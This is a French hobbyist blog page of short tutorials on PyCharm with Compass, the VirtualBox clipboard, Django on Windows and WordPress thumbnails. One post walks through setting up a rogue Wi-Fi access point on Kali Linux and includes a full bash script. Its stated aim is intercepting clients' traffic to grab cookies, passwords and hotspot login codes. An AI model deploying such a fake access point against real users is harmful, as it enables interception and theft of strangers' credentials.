Configuration de Pycharm pour utiliser Compass

compass1

J’ai voulu tester récemment le framework Python Django et comme une nouveauté en amène ne autre je me suis dit pourquoi ne pas se former à SASS et Compass par la même occasion.

En essayant de faire fonctionner PyCharm avec Compass, j’ai eu quelques soucis.

Je n’aborderais pas ici l’installation de Ruby, SASS et Compass, mais seulement la configuration de PyCharm.

Après avoir lancé celui-ci ouvrez votre projet et dirigez-vous dans File/Settings…/.

Dans la configuration de votre projet, cherchez Compass Support.

Cochez la case Enable Compass support et en mettez en Compass executable file le fichier suivant (à adapter) : C:\Program Files (x86)\Ruby200\lib\ruby\gems\2.0.0\gems\compass-0.12.2\bin\compass

J’ai pas mal galéré à ce stade puisque par défaut le fichier sélectionné est celui-ci : C:\Program Files (x86)\Ruby200\bin\compass

Vérifiez donc bien ce point avant de continuer.

Le champ config path contient le chemin vers le fichier générer par la commande pour créer votre projet Compass (compass init ou compass create). J’obtiens : D:\Projets\Python\DjangoTest\html\config.rb

Ouvrez l’un des fichiers .scss créé par Compass (de préférence contenant un @import comme screen.scss).

Deux box doivent pop, vous invitant à créer un watcher pour SCSS et Compass. Cliquez sur Dismiss pour le premier et Add watcher pour le second.

Dans la fenêtre de config qui s’affiche vérifiez de bien avoir : C:\Program Files (x86)\Ruby200\bin\compass.bat dans Program (attention la aussi au lien). J’ai aussi dû pour ma part modifier Arguments par cette ligne : compile $FileDirName$\$FileName;

Pycharm devait maintenant pouvoir compiler automatiquement vos fichiers .scss en .css à chaque changement de ceux-ci.

Publié dans Python, Web

Copier/coller bidirectionnel d’une machine virtuelle Linux sur VirtualBox

Virtualbox_logo

Si vous utilisez comme moi VirtualBox pour vos machines virtuelles, vous savez peut-être déjà qu’il existe une fonctionnalité permettant de partager le presse-papier entre l’hôte et l’émulation.

Seulement, je n’ai jamais réussi à la faire fonctionner en faisant une installation normale. J’entends par là, cliquer sur Périphériques/Installer les Additions invitées quand la machine est lancée.

Presse-papier

Pour remédier à ce fâcheux problème rien de plus simple, ouvrez un terminal et entrez les commandes suivantes :

sudo apt-get update && sudo apt-get install build-essential linux-headers-$(uname -r)
sudo apt-get install virtualbox-ose-guest-x11

Redémarrez ensuite la machine virtualisée et tentez de copier/coller du texte de l’hôte vers l’invitée puis en sens inverse.

Si cela ne marche toujours pas vérifier que le presse-papier est bien activé dans Périphériques/Presse-papier partagé.

Installer additions invité

Publié dans VirtualBox

Installer Django avec Pip sur Windows

django

Si vous souhaitez vous mettre tout comme moi à Django, mais que vous n’avez pas envie de développer sur Unix, voici comment l’installer en utilisant Pip.

Si Python n’est pas déjà installé rendez-vous sur cette page et sélectionner la version adéquate.

Ensuite, téléchargez et installez ces deux fichiers en prenant soin de prendre la version compatible avec votre système (si la version 64 bits ne marche pas, testez avec la 32) :

- Setuptools
- Pip

Lancez maintenant l’invité de commande Windows et rendez-vous dans le dossier Scripts de votre installation Python.

En ce qui me concerne, j’ai dû taper :


cd “C:\Program Files (x86)\Python 3.3\Scripts”

Puis lancez la commande (à modifier en fonction de la version que vous désirez de Django) :

pip install Django==1.5.1

Vous devriez désormais avoir une installation propre et fonctionnelle de la dernière version de Django sur votre système Windows.

Pour vérifier, effectuez la commande suivante dans le shell Python cette fois :

>>> import django
>>> print(django.get_version())
1.5.1

Si aucun message d’erreur n’apparait, tout s’est bien déroulé.

Publié dans Django, Python, Windows

Rogue AP avec AWUS036H et Kali Linux

Rogue AP

J’ai reçu récemment ma carte Alfa AWUS036H et je voulais voir ce qu’elle avait dans le ventre.

Un Rogue AP (Access Point) permet à des clients de se connecter sur votre carte réseau. Vous pouvez ainsi sniffer leurs paquets (Man In The Middle) et récupérer des données intéressantes (cookies, login et mot de passe de site non-HTTPS, ou code de connexion FreeWifi, SFR Wifi Public, etc.).

Dans ce tuto nous verrons seulement la mise en place d’un point d’accès au web grâce à l’Alfa AWUS036H. La création et l’affichage des pages FreeWifi & co ne sont pas au rendez-vous.

Il vous faut 3 cartes réseau, une pour vous connecter à Internet, la deuxième pour votre Rogue AP et la dernière pour vous connecter sur le Rogue AP.

Il faut tout d’abord installer un serveur DHCP :


apt-get install isc-dhcp-server  # isc-dhcp-server a remplacé dhcp3-server

On édite le fichier /etc/dhcp/dhcpd.conf (vous pouvez modifier les adresse IPs si nécessaire) :

 ddns-update-style interim;

default-lease-time 600;

max-lease-time 7200;

authoritative;

subnet 192.168.1.0 netmask 255.255.255.0 {

  option subnet-mask 255.255.255.0;

  option broadcast-address 198.168.1.255;

  option routers 192.168.1.254;

  option domain-name-servers 8.8.8.8;

  range 192.168.1.1 192.168.1.253;

}

On met la carte émettrice en mode monitor (wlan0 pour moi) :


airmon-ng start wlan0

Si vous obtenez un message semblable à :


Found 3 processes that could cause trouble.

If airodump-ng, aireplay-ng or airtun-ng stops working after

a short period of time, you may want to kill (some of) them!

PID         Name

2585      NetworkManager

2997      wpa_supplicant

3005      dhclient

Tuez les processus grâce à leur numéro PID (à adapter dans votre cas) :

kill 2585
kill 2997
kill 3005

On met en route le point d’accès :

airbase-ng -e NomDuRéseau -c 11 -v wlan0

Si vous obtenez un message d’erreur, effectuez ces manipulations :

root@kali:~# airbase-ng -e NomDuRseau -c 11 -v wlan0

ioctl(SIOCSIWMODE) failed: Device or resource busy

ARP linktype is set to 1 (Ethernet) - expected ARPHRD_IEEE80211,

ARPHRD_IEEE80211_FULL or ARPHRD_IEEE80211_PRISM instead.  Make

sure RFMON is enabled: run 'airmon-ng start wlan0 <#>'

Sysfs injection support was not found either.

root@kali:~# airmon-ng stop wlan0

Interface             Chipset                               Driver

wlan0                   Realtek RTL8187L            rtl8187 - [phy0]

(monitor mode disabled)

mon0                    Realtek RTL8187L            rtl8187 - [phy0]

root@kali:~# airmon-ng stop mon0

Interface             Chipset                                Driver

wlan0                   Realtek RTL8187L            rtl8187 - [phy0]

mon0                    Realtek RTL8187L            rtl8187 - [phy0] (removed)

root@kali:~# airmon-ng start wlan0

Found 3 processes that could cause trouble.

If airodump-ng, aireplay-ng or airtun-ng stops working after

a short period of time, you may want to kill (some of) them!

PID         Name

2585      NetworkManager

2997      wpa_supplicant

3005      dhclient

Interface             Chipset                               Driver

wlan0                   Realtek RTL8187L            rtl8187 - [phy0]

(monitor mode enabled on mon0)

Airbase-ng a créé une nouvelle interface nommée at0. Il faut l’activer et lui assigner une adresse IP :

ifconfig at0 up
ifconfig at0 192.168.1.254 netmask 255.255.255.0

Créons désormais la route entre votre accès Internet et votre Rogue AP (à adapter dans votre cas) :

route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.254

On configure le pare-feu :

iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables -P FORWARD ACCEPT

Puis la redirection (utilisez bien votre interface qui est reliée à internet, dans mon cas eth0) :

iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

On supprime les baux DHCP existants :

echo > '/var/lib/dhcp/dhcpd.leases'

On lance le serveur DHCP :

dhcpd -d -f -cf /etc/dhcp/dhcpd.conf at0

Si vous avez un message d’erreur indiquant « ddns-update-style ad_hoc no longer supported », il vous suffit de remplacer la ligne ddns-update-style ad-hoc; par ddns-update-style interim; dans le fichier /etc/dhcp/dhcpd.conf. Relancer la commande précédente.

Activer enfin l’IP forwarding :

echo "1" > /proc/sys/net/ipv4/ip_forward

Connectez-vous sur votre réseau et tentez d’accéder à Internet.

Si ça ne marche pas et que vous êtes un peu limité comme moi… :p

Backtrack/Kali Linux fonctionne-t-il sur une machine virtuelle ? Oui…

Est-ce que vous êtes connecté en WiFi sur votre box grâce à un deuxième adaptateur ? Oui…

Avec quelle carte vous connectez-vous sur le point d’accès ? Le deuxième adaptateur qui n’est du coup plus connecté à Internet :p

Un petit schéma pour être plus clair :

Schéma Rogue AP

Schéma Rogue AP

C’est pour ça qu’il vous faut soit 3 adaptateurs WiFi ou 2 machines. Dans tous les cas, il faut 3 cartes réseau.

Pour effectuer ces opérations, j’ai écrit un script à adapter à votre configuration bien sûr.


#!/bin/bash
VERT="\\033[1;32m"
BLANC="\\033[0;39m"
ROUGE="\\033[1;31m"

error() {
echo -e "$ROUGE""An error occurred during $1"
echo -e "Rogue AP script will stop""$BLANC"
exit 1
}

taskDone() {
echo -e "$VERT""Done""$BLANC"
}

echo -en "Killing NetworkManager... "
pkill NetworkManager
taskDone
echo -en "Killing DHCP... "
pkill dhclient
taskDone
echo -en "Killing wpa_supplicant... "
pkill wpa_supplicant
taskDone
echo -en "Killing Airbase-ng... "
pkill airbase-ng
taskDone

echo -en "Stop mon0... "
airmon-ng stop mon0 >/dev/null 2>&1
taskDone

#Check if isc-dhcp-server is installed
if dpkg -s isc-dhcp-server 2>/dev/null | grep "Status: install ok installed" >/dev/null 2>&1; then
echo -e "isc-dhcp-server is already ""$VERT""installed""$BLANC"
else
echo "isc-dhcp-server install in progress"
if apt-get -y install isc-dhcp-server 1>/dev/null; then
echo -e "isc-dhcp-server installed: ""$VERT""yes""$BLANC"
else
error "the installation of isc-dhcp-server"
fi
fi

#Configure isc-dhcp-server
echo -en "Write /etc/default/isc-dhcp-server... "
cat >/etc/default/isc-dhcp-server <<EOF
INTERFACES="at0"
EOF
taskDone

echo -en "Write /etc/dhcp/dhcpd.conf... "
cat >/etc/dhcp/dhcpd.conf <<EOF
ddns-update-style interim;
default-lease-time 600;
max-lease-time 7200;
authoritative;
subnet 192.168.1.0 netmask 255.255.255.0 {
option subnet-mask 255.255.255.0;
option broadcast-address 198.168.1.255;
option routers 192.168.1.254;
option domain-name-servers 8.8.8.8;
range 192.168.1.1 192.168.1.253;
}
EOF
taskDone

echo -e "Putting Wlan In Monitor Mode... "
if airmon-ng stop wlan0 1>/dev/null; then # Change to your wlan interface
echo -en "    Wlan0 stop... "
taskDone
if airmon-ng start wlan0 1>/dev/null; then # Change to your wlan interface
echo -en "    Wlan0 start... "
taskDone
else
error "starting wlan0"
fi
else
error "stopping wlan0"
fi

echo -en "Starting Fake AP... "
airbase-ng -e NomDuRéseau -c 11 -v wlan0 >/dev/null 2>&1 & #Change essid, channel and interface
sleep 5;
taskDone

echo -en "Starting at0... "
ifconfig at0 up
ifconfig at0 192.168.1.254 netmask 255.255.255.0 # Change IP addresses as configured in your dhcpd.conf
taskDone

echo -en "Configure route... "
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.254 # Change IP addresses as configured in your dhcpd.conf
taskDone

echo -en "Configure iptables"
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables -P FORWARD ACCEPT
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE # Change eth0 to your internet facing interface
taskDone

echo -en "Reset DHCP lease..."
echo > '/var/lib/dhcp/dhcpd.leases'
taskDone

echo -en "Start DHCP on at0... "
dhcpd -d -f -cf /etc/dhcp/dhcpd.conf at0 >/dev/null 2>&1 &
sleep 5;
taskDone

echo -en "Activate Ip Forwarding... "
echo "1" > /proc/sys/net/ipv4/ip_forward
taskDone

Publié dans Sécurité

Afficher une image à la une/thumbnail dans un thème WordPress

wordpress-logo

Si comme moi vous souhaitez disposer pour chaque article d’une image à la une (thumbnail) sur votre blog WordPress, mais que votre thème ne les affiche pas sur la page de l’article en question, j’ai la solution.

Repérer cette ligne dans les fichiers nécessaires (blog.php et single.php pour ma part) :

<?php the_content(); ?>

Puis insérer ce code juste au-dessus :

<?php
/**
* Rajout de thumbnail
*/
$title = get_the_title();
if ( has_post_thumbnail() ) { // check if the post has a Post Thumbnail assigned to it.
  the_post_thumbnail('', array(
    'alt' => $title,
    'title' => $title));
}
?>
Publié dans Wordpress